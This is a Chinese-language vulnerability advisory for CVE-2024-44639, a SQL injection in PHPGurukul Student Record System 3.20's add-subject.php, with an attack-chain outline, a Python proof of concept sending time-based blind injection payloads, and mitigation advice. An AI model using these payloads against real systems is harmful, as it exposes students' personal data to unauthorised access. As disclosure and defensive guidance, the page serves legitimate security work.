IPBUF安全漏洞报告
English
CVE-2024-44639 CVSS 6.5 中危

CVE-2024-44639 PHPGurukul学生记录系统SQL注入漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2024-44639
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Student Record System 3.20

相关标签

SQL注入CVE-2024-44639PHPGurukul学生记录系统Web安全数据库注入add-subject.php无认证利用

漏洞概述

CVE-2024-44639是PHPGurukul学生记录系统3.20版本中存在的一个SQL注入漏洞。该系统是一款基于PHP和MySQL开发的Web应用程序,用于管理学生信息和课程数据。漏洞存在于add-subject.php文件中的多个参数,包括sub1、sub2、sub3、sub4和course-short参数。攻击者可以通过构造恶意的SQL语句片段,利用这些未经过滤的用户输入参数执行任意SQL查询,从而获取数据库中的敏感信息,包括学生个人信息、课程数据和系统配置等。该漏洞无需认证即可被利用,攻击者可远程发起攻击,对系统数据机密性和完整性造成威胁。由于CVSS评分为6.5,属于中等严重程度,但仍需及时修复以防止数据泄露风险。

技术细节

该SQL注入漏洞存在于add-subject.php文件中,具体受影响的参数包括sub1、sub2、sub3、sub4和course-short参数。漏洞产生的根本原因在于应用程序未对用户输入进行充分的过滤和参数化查询处理。攻击者可以通过在上述参数中注入SQL语句片段,如使用UNION SELECT、布尔盲注或时间盲注等技术,从数据库中提取敏感数据。由于参数直接拼接到SQL查询语句中,攻击者可以绕过认证机制执行未授权的数据库操作。攻击者可能获取的数据包括学生个人信息、登录凭证、课程数据等敏感内容。在某些配置下,攻击者甚至可能通过LOAD_FILE、INTO OUTFILE等函数读取系统文件或写入恶意内容,实现进一步的攻击目标。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统,确认运行的是PHPGurukul Student Record System 3.20版本
STEP 2
步骤2
攻击者访问add-subject.php页面,识别可利用的参数(sub1、sub2、sub3、sub4、course-short)
STEP 3
步骤3
攻击者构造恶意SQL注入载荷,通过POST请求提交到add-subject.php
STEP 4
步骤4
服务器未对输入进行过滤,恶意SQL语句被直接拼接到数据库查询中执行
STEP 5
步骤5
攻击者利用UNION注入、布尔盲注或时间盲注技术提取数据库中的敏感信息
STEP 6
步骤6
获取的数据可能包括学生个人信息、教师账户、课程数据等敏感内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-44639 SQL Injection PoC # Target: PHPGurukul Student Record System 3.20 # Vulnerable Parameter: sub1, sub2, sub3, sub4, course-short in add-subject.php def sql_injection_test(target_url): """ Test for SQL injection vulnerability in add-subject.php """ # Vulnerable endpoint endpoint = f"{target_url}/add-subject.php" # SQL Injection payloads for different parameters payloads = { 'sub1': "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1", 'sub2': "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1", 'sub3': "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1", 'sub4': "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1", 'course-short': "TS' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1" } # Normal POST data data = { 'submit': '1' } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerable endpoint: {endpoint}") for param, payload in payloads.items(): print(f"\n[*] Testing parameter: {param}") test_data = data.copy() test_data[param] = payload try: response = requests.post(endpoint, data=test_data, timeout=10) print(f"[+] Payload sent: {payload}") print(f"[+] Response status: {response.status_code}") except requests.exceptions.Timeout: print(f"[!] Time-based SQL injection confirmed for parameter: {param}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/student-record-system") sys.exit(1) target = sys.argv[1].rstrip('/') sql_injection_test(target)

影响范围

PHPGurukul Student Record System 3.20

防御指南

临时缓解措施
在官方修复方案发布之前,可以采取以下临时缓解措施:1)限制对add-subject.php页面的访问,仅允许授权管理员访问;2)在Web应用层实现输入过滤机制,对特殊字符进行转义处理;3)部署ModSecurity等Web应用防火墙规则识别和阻止SQL注入攻击;4)加强对数据库的监控,及时发现异常查询行为;5)定期进行安全审计,检查是否存在其他类似的注入漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表